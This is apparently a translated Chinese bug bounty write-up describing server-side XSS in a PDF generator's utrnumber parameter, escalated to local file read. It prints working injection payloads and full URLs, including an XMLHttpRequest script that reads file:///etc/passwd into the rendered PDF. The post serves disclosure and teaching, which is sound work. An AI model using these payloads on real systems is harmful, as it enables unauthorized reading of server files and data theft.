回归最本质的信息安全

;

奇思妙想 | 在PDF中构造XSS读取本地文件

2017年11月17日发布

46,167
0
3

导语:各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。

各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。

在浏览应用程序时,我发现了一个接口,该接口允许我们以PDF的方式下载某些支付说明文档,链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=xyz&date=2017-08-11&settlement_type=all&advice_id=undefined

我看到utrnumber的值直接被输出在下载的PDF文件里面,所以我在utrnumber参数中添加了一些HTML内容“> <S> aaa,如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><S>aaa &date=2017-08-11&settlement_type=all&advice_id=undefined

打开这个PDF后,我发现HTML已经在PDF被渲染并可视

1510813965687883.png

我尝试了一下是否可以使用iframe加载内部域名或者通过iframe的file协议读取/etc/passwd/的内容,但是都失败了!同时,我也没办法通过iframe加载外部域名,如下链接:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><iframe src="http://localhost"></iframe>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510813982656335.png

测完上面的内容之后,我不知道到底接下来还能不能更进一步,因为我不确定是否可以在PDF中执行JavaScript。在做了更多的测试后,我发现可以通过DOM操作执行如下JavaScript:

<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>&date=2017-08-11&settlement_type=all&advice_id=undefined

下载PDF后,我发现内容中包含了“aaaa”

再过了一会,我发现我也可以使用document.write()函数更容易地显示结果。

<img src=x onerror=document.write('aaaa')>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa')>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510814007167152.png

在此之后,我通过window.location检查了一下JavaScript执行所在的域,令我吃惊的是它在服务器的file://域下,链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa'%2bwindow.location)>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510814023686179.png

既然它在file://域下执行,我尝试了一下是否可以通过XHR(XMLHttpRequest)的file请求读取/etc/passwd文件的内容,能否可行我也不是很清楚。

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>&date=2017-08-11&settlement_type=all&advice_id=undefined

然后就如同你看到的,它成功了!

1510814040634172.png

所以说这是一个通过服务端的XSS读取本地文件然后生成PDF的漏洞!

你可以看下为了测试这个漏洞,我下载了多少个PDF!:)

1510814058595807.png

本文翻译自:http://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html ,如若转载,请注明原文地址: http://www.4hou.com/vulnerable/8499.html

点赞 3
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

Change

这个人很懒,什么也没留下

发私信

发表评论